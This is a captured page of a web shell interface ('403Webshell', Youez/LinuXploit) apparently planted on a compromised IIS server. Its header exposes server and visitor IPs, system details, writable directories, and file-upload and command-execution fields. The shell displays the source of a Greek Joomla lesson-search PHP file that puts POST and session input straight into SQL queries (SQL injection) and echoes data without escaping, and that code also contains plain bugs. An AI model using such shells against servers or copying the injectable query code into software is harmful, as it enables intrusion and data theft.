403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ees_request/externalpages/dba/lesson/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ees_request/externalpages/dba/lesson/delete_search.php
<?php
    include(JPATH_BASE .DS.'externalpages'.DS.'ams'.DS.'config.php');
    define( '_JEXEC', 1 );
    define('JPATH_BASE', dirname(__FILE__) );
    define( 'DS', DIRECTORY_SEPARATOR );
    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );

    $mainframe =& JFactory::getApplication('site');
    $user =& JFactory::getUser(); 
    
                $db_connection = mysql_connect($host, $username, $password, $db_name);
                if (!$db_connection) {
                    die("<br><b>Database Error:</b> Could not connected. Try again later.<br>");
                    exit;
                }
                @mysql_select_db($db_name, $db_connection) or die("Unable to select database.");
                mysql_query("SET NAMES 'utf8'", $db_connection);   
                  
    if ( !$user->guest ) {
        
        $departmentQuery = "SELECT * FROM department WHERE id='".$_SESSION['departmentId']."'"; 
        $departmentResult = mysql_query($departmentQuery);
        $departmentRow = mysql_fetch_array($departmentResult);
        
        if( isset($_POST['searchBtn']) && !empty($_POST['lessonTitle']) ) {
            $lessonQuery = "SELECT * FROM lesson 
                            WHERE departmentId='".$_SESSION['departmentId']."' 
                            AND lessonTitle LIKE '%".$_POST['lessonTitle']."%' 
                            ORDER BY lessonTitle,sectionId";     
        }
        else {
        
            $lessonQuery = "SELECT * FROM lesson WHERE departmentId='".$_SESSION['departmentId']."' ORDER BY sectionId,lessonTitle";
        }
        $lessonResult = mysql_query($lessonQuery); 
 
         ?>
         <br>
            <a href="javascript:history.go(-1)"><b>[ << Πίσω]</b></a>  
         
         <br><br>
                <form method="post" action="?option=com_content&view=article&id=69">
                    <table>
                        <tr> <td>&nbsp;</td> </tr>
                        <tr>            
                            <td>Τίτλος Μαθήματος</td> <td><input type="text" name="lessonTitle" size="80"></td>
                            <td><input type="submit" name="searchBtn" value="Αναζήτηση"></td>
                        </tr>         
                    </table>
                </form>
         <?php
            if( mysql_num_rows($lessonResult) > 0 ) {
         ?>   

                <br><br>
                <p align="center">Βρέθηκαν συνολικά <?php echo mysql_num_rows($lessonResult); ?> μαθήματα.</p>
                    <table cellspacing="7" align="center">
                        <tr align="center" style='background-color: #B9EEAC;'>
                            <th>Κωδικός
                            <th>Τομέας 
                            <th>Τίτλος Μαθήματος
                            <th>Ώρες
                            <th>Εξάμηνο
                        </tr>
                        <?php
                            while( $lessonRow = mysql_fetch_array($lessonResult) ) {
                                
                                $sectionQuery = "SELECT * FROM section 
                                                 WHERE departmentId='".$_SESSION['departmentId']."' 
                                                 AND id='".$lessonRow['sectionId']."'";
                                $sectionResult = mysql_query($sectionQuery);
                                $sectionRow = mysql_fetch_array($sectionResult);
                                     
                                echo "<tr onMouseOut=\"this.style.background='#FFFFFF'\" onMouseOver=\"this.style.background ='#FFA346';\">";
                                echo "<td>".$lessonRow['id']."</td>";          
                               echo "<td>".iconv("UTF-8", "UTF-8", substr($sectionRow['sectionTitle'],12,60))."...</td>"; 
                                echo "<td>
                                        <a href='?option=com_content&view=article&id=70&lid=".$lessonRow['id']."&sid=".$lessonRow['sectionId']."'>".$lessonRow['lessonTitle']."</a>
                                      </td>"; 
                                echo "<td align='center'>".$lessonRow['teachingHours']."</td>"; 
                                echo "<td align='center'>".$lessonRow['semester']."</td>"; 
                                echo "</tr>";
                            }
                        ?>
                    </table>         
         <?php
            }
            else {
                 echo "<br><font color='red'>Δεν βρέθηκε κανένα Μάθημα.</fpnt>";             
            }
    }
    else {
        echo "<br><font color='red'>Απογορεύεται η πρόσβαση. Δεν είστε συνδεδεμένοι!</font>";
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit